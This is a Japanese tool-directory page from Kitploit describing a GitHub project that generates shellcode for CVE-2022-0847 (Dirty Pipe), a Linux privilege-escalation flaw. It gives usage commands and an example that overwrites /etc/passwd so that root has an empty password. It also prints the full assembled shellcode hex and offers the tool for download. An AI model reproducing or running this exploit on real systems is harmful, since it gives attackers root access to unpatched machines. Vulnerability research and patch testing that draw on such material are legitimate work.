Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve_2022_0847_shellcode — CVE-2022-0847のシェルコードとしての実装 | Kitploit
ツール/GitHubGitHub/shotokhan/cve_2022_0847_shellcode
特権昇格ペイロード生成脆弱性分析エクスプロイトシェルコードバイナリエクスプロイト
GitHubshotokhan/cve_2022_0847_shellcode

cve_2022_0847_shellcode

CVE-2022-0847のシェルコードとしての実装

リポジトリを見る
32474年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

cve_2022_0847_shellcode

説明

このリポジトリには、CVE-2022-0847 を実装するシェルコードを生成するための、pwntools ベースの Python スクリプト (gen_shellcode.py) が含まれています。
このシェルコードは、次の PoC に基づいています: antx。
私は PoC のコードとその実行を strace で解析し、エクスプロイトに必要なすべてのシステムコールを把握しました。最初は syscall.h を使う C プログラムを書きましたが、これはシェルコードには適していません。ただし参考用としては有用なので、ここに同梱しました (tiny_cve-2022-0847.c)。
シェルコードを生成する関数は、書き込み先ファイルのパス、書き込むデータ、およびデータを書き込むオフセットの 3 つのパラメータを受け取ります。
生成されたシェルコードの例は、objdump による逆アセンブル形式で shellcode.asm にあります。これは次のパラメータで生成されました:

  • ファイル名 /etc/passwd
  • データ :$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n
  • オフセット 4

これにより、root のパスワードが空になります。

使い方

root@kitploit:~
$ python gen_shellcode.py 
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]

シェルコードを生成する関数 cve_2022_0847 をインポートして他のスクリプトから呼び出すことも、このスクリプトを直接使うこともできます。また、cve_2022_0847 を呼び出してシェルコードを含む ELF を作成する example_usage 関数もあります。
cve_2022_0847 は基本的な sanity check も実行し、verbose パラメータが設定されている場合は、エクスプロイトで問題になり得ることと、逆アセンブルされたシェルコードを出力します。
この関数は、アセンブル済みのシェルコードを返します。main 関数は、コマンドライン引数を使って cve_2022_0847 を呼び出し、結果のシェルコードを C スタイルの 16 進数(つまり、表示可能なバイトをデコードせずに)で出力します。例:

root@kitploit:~
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05

免責事項

サポート対象アーキテクチャは amd64 のみです。

ツールをダウンロード